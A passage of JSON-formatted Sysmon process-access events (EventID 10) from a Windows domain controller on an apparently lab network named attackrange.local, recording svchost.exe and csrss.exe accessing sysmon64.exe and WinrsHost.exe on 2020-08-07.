11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2533,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2534,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2535,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 